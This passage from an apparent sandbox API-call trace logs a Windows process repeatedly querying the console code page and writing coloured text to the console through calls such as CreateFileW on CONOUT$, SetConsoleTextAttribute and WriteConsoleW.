lpCs=0x5dbe838) returned 0 [0257.349] GetLastError () returned 0x0 [0257.349] GetConsoleOutputCP () returned 0x1b5 [0257.349] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.349] GetLastError () returned 0x0 [0257.350] GetConsoleOutputCP () returned 0x1b5 [0257.350] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.350] GetLastError () returned 0x0 [0257.350] GetConsoleOutputCP () returned 0x1b5 [0257.350] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.350] GetLastError () returned 0x0 [0257.350] GetConsoleOutputCP () returned 0x1b5 [0257.350] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.350] GetLastError () returned 0x0 [0257.350] GetConsoleOutputCP () returned 0x1b5 [0257.350] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.350] GetLastError () returned 0x0 [0257.350] GetConsoleOutputCP () returned 0x1b5 [0257.350] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.350] GetLastError () returned 0x0 [0257.350] GetConsoleOutputCP () returned 0x1b5 [0257.350] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.350] GetLastError () returned 0x0 [0257.350] GetConsoleOutputCP () returned 0x1b5 [0257.351] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.351] GetLastError () returned 0x0 [0257.351] GetConsoleOutputCP () returned 0x1b5 [0257.351] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.351] GetLastError () returned 0x0 [0257.351] GetConsoleOutputCP () returned 0x1b5 [0257.351] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.351] GetLastError () returned 0x0 [0257.351] GetConsoleOutputCP () returned 0x1b5 [0257.351] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.351] GetLastError () returned 0x0 [0257.351] GetConsoleOutputCP () returned 0x1b5 [0257.351] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.351] GetLastError () returned 0x0 [0257.351] GetConsoleOutputCP () returned 0x1b5 [0257.351] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.351] GetLastError () returned 0x0 [0257.351] GetConsoleOutputCP () returned 0x1b5 [0257.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.352] GetLastError () returned 0x0 [0257.352] GetConsoleOutputCP () returned 0x1b5 [0257.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.352] GetLastError () returned 0x0 [0257.352] GetConsoleOutputCP () returned 0x1b5 [0257.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.352] GetLastError () returned 0x0 [0257.352] GetConsoleOutputCP () returned 0x1b5 [0257.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.352] GetLastError () returned 0x0 [0257.352] GetConsoleOutputCP () returned 0x1b5 [0257.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.352] GetLastError () returned 0x0 [0257.352] GetConsoleOutputCP () returned 0x1b5 [0257.352] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.352] GetLastError () returned 0x0 [0257.352] GetConsoleOutputCP () returned 0x1b5 [0257.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.353] GetLastError () returned 0x0 [0257.353] GetConsoleOutputCP () returned 0x1b5 [0257.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.353] GetLastError () returned 0x0 [0257.353] GetConsoleOutputCP () returned 0x1b5 [0257.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.353] GetLastError () returned 0x0 [0257.353] GetConsoleOutputCP () returned 0x1b5 [0257.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.353] GetLastError () returned 0x0 [0257.353] GetConsoleOutputCP () returned 0x1b5 [0257.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.353] GetLastError () returned 0x0 [0257.353] GetConsoleOutputCP () returned 0x1b5 [0257.353] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.353] GetLastError () returned 0x0 [0257.353] GetConsoleOutputCP () returned 0x1b5 [0257.354] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.354] GetLastError () returned 0x0 [0257.354] GetConsoleOutputCP () returned 0x1b5 [0257.354] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.354] GetLastError () returned 0x0 [0257.354] GetConsoleOutputCP () returned 0x1b5 [0257.354] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.354] GetLastError () returned 0x0 [0257.354] GetConsoleOutputCP () returned 0x1b5 [0257.354] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.354] GetLastError () returned 0x0 [0257.354] GetConsoleOutputCP () returned 0x1b5 [0257.354] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.354] GetLastError () returned 0x0 [0257.354] GetConsoleOutputCP () returned 0x1b5 [0257.354] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.354] GetLastError () returned 0x0 [0257.354] GetConsoleOutputCP () returned 0x1b5 [0257.355] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.355] GetLastError () returned 0x0 [0257.355] GetConsoleOutputCP () returned 0x1b5 [0257.355] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.355] GetLastError () returned 0x0 [0257.355] GetConsoleOutputCP () returned 0x1b5 [0257.355] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.355] GetLastError () returned 0x0 [0257.355] GetConsoleOutputCP () returned 0x1b5 [0257.355] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.355] GetLastError () returned 0x0 [0257.355] GetConsoleOutputCP () returned 0x1b5 [0257.355] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.355] GetLastError () returned 0x0 [0257.355] GetConsoleOutputCP () returned 0x1b5 [0257.355] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.355] GetLastError () returned 0x0 [0257.355] GetConsoleOutputCP () returned 0x1b5 [0257.356] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.356] GetLastError () returned 0x0 [0257.356] GetConsoleOutputCP () returned 0x1b5 [0257.356] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe858, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe858) returned 0 [0257.356] GetLastError () returned 0x0 [0257.356] GetConsoleOutputCP () returned 0x1b5 [0257.356] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe858, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe858) returned 0 [0257.356] GetLastError () returned 0x0 [0257.370] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17 [0257.371] GetLastError () returned 0x0 [0257.371] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x17, lpConsoleScreenBufferInfo=0x5dbe830 | out: lpConsoleScreenBufferInfo=0x5dbe830) returned 1 [0257.371] GetLastError () returned 0x0 [0257.371] GetConsoleOutputCP () returned 0x1b5 [0257.405] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.405] GetLastError () returned 0x0 [0257.546] GetStdHandle (nStdHandle=0xfffffff4) returned 0xb [0257.546] GetLastError () returned 0x0 [0257.546] GetConsoleMode (in: hConsoleHandle=0xb, lpMode=0x5dbe8a8 | out: lpMode=0x5dbe8a8) returned 1 [0257.546] GetLastError () returned 0x0 [0257.553] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b [0257.554] GetLastError () returned 0x0 [0257.554] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1b, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0257.554] GetLastError () returned 0x0 [0257.561] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f [0257.562] GetLastError () returned 0x0 [0257.562] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x1f, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0257.562] GetLastError () returned 0x0 [0257.569] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0257.569] GetLastError () returned 0x0 [0257.569] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0257.570] GetLastError () returned 0x0 [0257.578] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0xc) returned 1 [0257.579] GetLastError () returned 0x0 [0257.581] CloseHandle (hObject=0x23) returned 1 [0257.581] GetLastError () returned 0x0 [0257.588] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0257.624] GetLastError () returned 0x0 [0257.624] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0257.624] GetLastError () returned 0x0 [0257.624] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0xc) returned 1 [0257.624] GetLastError () returned 0x0 [0257.626] CloseHandle (hObject=0x23) returned 1 [0257.626] GetLastError () returned 0x0 [0257.626] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0257.626] GetLastError () returned 0x0 [0257.626] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x5dbe840 | out: lpMode=0x5dbe840) returned 1 [0257.627] GetLastError () returned 0x0 [0257.634] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0257.634] GetLastError () returned 0x0 [0257.634] GetConsoleMode (in: hConsoleHandle=0x23, lpMode=0x5dbe824 | out: lpMode=0x5dbe824) returned 1 [0257.634] GetLastError () returned 0x0 [0257.637] WriteConsoleW (in: hConsoleOutput=0x23, lpBuffer=0x2fa1c84*, nNumberOfCharsToWrite=0x27, lpNumberOfCharsWritten=0x5dbe824, lpReserved=0x0 | out: lpBuffer=0x2fa1c84*, lpNumberOfCharsWritten=0x5dbe824*=0x27) returned 1 [0257.644] GetLastError () returned 0x0 [0257.645] CloseHandle (hObject=0x23) returned 1 [0257.646] GetLastError () returned 0x0 [0257.653] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0257.653] GetLastError () returned 0x0 [0257.653] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0257.653] GetLastError () returned 0x0 [0257.653] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0x7) returned 1 [0257.654] GetLastError () returned 0x0 [0257.654] CloseHandle (hObject=0x23) returned 1 [0257.654] GetLastError () returned 0x0 [0257.661] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0257.661] GetLastError () returned 0x0 [0257.661] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0257.662] GetLastError () returned 0x0 [0257.662] SetConsoleTextAttribute (hConsoleOutput=0x23, wAttributes=0x7) returned 1 [0257.662] GetLastError () returned 0x0 [0257.662] CloseHandle (hObject=0x23) returned 1 [0257.663] GetLastError () returned 0x0 [0257.670] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0257.702] GetLastError () returned 0x0 [0257.702] GetConsoleMode (in: hConsoleHandle=0x23, lpMode=0x5dbe864 | out: lpMode=0x5dbe864) returned 1 [0257.702] GetLastError () returned 0x0 [0257.702] WriteConsoleW (in: hConsoleOutput=0x23, lpBuffer=0x2cb9a3c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5dbe864, lpReserved=0x0 | out: lpBuffer=0x2cb9a3c*, lpNumberOfCharsWritten=0x5dbe864*=0x1) returned 1 [0257.702] GetLastError () returned 0x0 [0257.703] CloseHandle (hObject=0x23) returned 1 [0257.703] GetLastError () returned 0x0 [0257.710] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x23 [0257.710] GetLastError () returned 0x0 [0257.710] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x23, lpConsoleScreenBufferInfo=0x5dbe830 | out: lpConsoleScreenBufferInfo=0x5dbe830) returned 1 [0257.710] GetLastError () returned 0x0 [0257.710] GetConsoleOutputCP () returned 0x1b5 [0257.711] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.711] GetLastError () returned 0x0 [0257.717] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x27 [0257.788] GetLastError () returned 0x0 [0257.788] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x27, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0257.788] GetLastError () returned 0x0 [0257.795] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b [0257.796] GetLastError () returned 0x0 [0257.796] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2b, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0257.796] GetLastError () returned 0x0 [0257.802] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0257.802] GetLastError () returned 0x0 [0257.802] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0257.802] GetLastError () returned 0x0 [0257.802] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0xc) returned 1 [0257.803] GetLastError () returned 0x0 [0257.803] CloseHandle (hObject=0x2f) returned 1 [0257.803] GetLastError () returned 0x0 [0257.809] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0257.842] GetLastError () returned 0x0 [0257.842] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0257.842] GetLastError () returned 0x0 [0257.842] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0xc) returned 1 [0257.843] GetLastError () returned 0x0 [0257.843] CloseHandle (hObject=0x2f) returned 1 [0257.843] GetLastError () returned 0x0 [0257.849] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0257.849] GetLastError () returned 0x0 [0257.850] GetConsoleMode (in: hConsoleHandle=0x2f, lpMode=0x5dbe824 | out: lpMode=0x5dbe824) returned 1 [0257.850] GetLastError () returned 0x0 [0257.850] WriteConsoleW (in: hConsoleOutput=0x2f, lpBuffer=0x2fa21a0*, nNumberOfCharsToWrite=0x11, lpNumberOfCharsWritten=0x5dbe824, lpReserved=0x0 | out: lpBuffer=0x2fa21a0*, lpNumberOfCharsWritten=0x5dbe824*=0x11) returned 1 [0257.850] GetLastError () returned 0x0 [0257.850] CloseHandle (hObject=0x2f) returned 1 [0257.851] GetLastError () returned 0x0 [0257.859] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0257.860] GetLastError () returned 0x0 [0257.860] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0257.860] GetLastError () returned 0x0 [0257.860] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0257.861] GetLastError () returned 0x0 [0257.861] CloseHandle (hObject=0x2f) returned 1 [0257.861] GetLastError () returned 0x0 [0257.868] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0257.868] GetLastError () returned 0x0 [0257.868] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0257.869] GetLastError () returned 0x0 [0257.869] SetConsoleTextAttribute (hConsoleOutput=0x2f, wAttributes=0x7) returned 1 [0257.869] GetLastError () returned 0x0 [0257.869] CloseHandle (hObject=0x2f) returned 1 [0257.869] GetLastError () returned 0x0 [0257.875] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0257.876] GetLastError () returned 0x0 [0257.876] GetConsoleMode (in: hConsoleHandle=0x2f, lpMode=0x5dbe864 | out: lpMode=0x5dbe864) returned 1 [0257.876] GetLastError () returned 0x0 [0257.876] WriteConsoleW (in: hConsoleOutput=0x2f, lpBuffer=0x2cb9a3c*, nNumberOfCharsToWrite=0x1, lpNumberOfCharsWritten=0x5dbe864, lpReserved=0x0 | out: lpBuffer=0x2cb9a3c*, lpNumberOfCharsWritten=0x5dbe864*=0x1) returned 1 [0257.876] GetLastError () returned 0x0 [0257.877] CloseHandle (hObject=0x2f) returned 1 [0257.877] GetLastError () returned 0x0 [0257.882] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f [0257.925] GetLastError () returned 0x0 [0257.925] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x2f, lpConsoleScreenBufferInfo=0x5dbe830 | out: lpConsoleScreenBufferInfo=0x5dbe830) returned 1 [0257.925] GetLastError () returned 0x0 [0257.925] GetConsoleOutputCP () returned 0x1b5 [0257.925] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5dbe838, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5dbe838) returned 0 [0257.925] GetLastError () returned 0x0 [0257.931] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33 [0257.931] GetLastError () returned 0x0 [0257.931] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x33, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0257.932] GetLastError () returned 0x0 [0257.938] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37 [0257.939] GetLastError () returned 0x0 [0257.939] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x37, lpConsoleScreenBufferInfo=0x5dbe7d0 | out: lpConsoleScreenBufferInfo=0x5dbe7d0) returned 1 [0257.939] GetLastError () returned 0x0 [0257.946] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0257.946] GetLastError () returned 0x0 [0257.946] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0257.947] GetLastError () returned 0x0 [0257.947] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0xc) returned 1 [0257.947] GetLastError () returned 0x0 [0257.947] CloseHandle (hObject=0x3b) returned 1 [0257.948] GetLastError () returned 0x0 [0257.954] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0257.955] GetLastError () returned 0x0 [0257.955] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5dbe7d8 | out: lpConsoleScreenBufferInfo=0x5dbe7d8) returned 1 [0257.955] GetLastError () returned 0x0 [0257.955] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0xc) returned 1 [0257.955] GetLastError () returned 0x0 [0257.956] CloseHandle (hObject=0x3b) returned 1 [0257.956] GetLastError () returned 0x0 [0257.963] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0257.998] GetLastError () returned 0x0 [0257.998] GetConsoleMode (in: hConsoleHandle=0x3b, lpMode=0x5dbe824 | out: lpMode=0x5dbe824) returned 1 [0257.998] GetLastError () returned 0x0 [0257.998] WriteConsoleW (in: hConsoleOutput=0x3b, lpBuffer=0x2fa25ac*, nNumberOfCharsToWrite=0x46, lpNumberOfCharsWritten=0x5dbe824, lpReserved=0x0 | out: lpBuffer=0x2fa25ac*, lpNumberOfCharsWritten=0x5dbe824*=0x46) returned 1 [0257.999] GetLastError () returned 0x0 [0257.999] CloseHandle (hObject=0x3b) returned 1 [0258.000] GetLastError () returned 0x0 [0258.007] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0258.008] GetLastError () returned 0x0 [0258.008] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x3b, lpConsoleScreenBufferInfo=0x5dbe7d4 | out: lpConsoleScreenBufferInfo=0x5dbe7d4) returned 1 [0258.008] GetLastError () returned 0x0 [0258.008] SetConsoleTextAttribute (hConsoleOutput=0x3b, wAttributes=0x7) returned 1 [0258.009] GetLastError () returned 0x0 [0258.009] CloseHandle (hObject=0x3b) returned 1 [0258.009] GetLastError () returned 0x0 [0258.016] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b [0258.017] GetLastError () returned 0x0 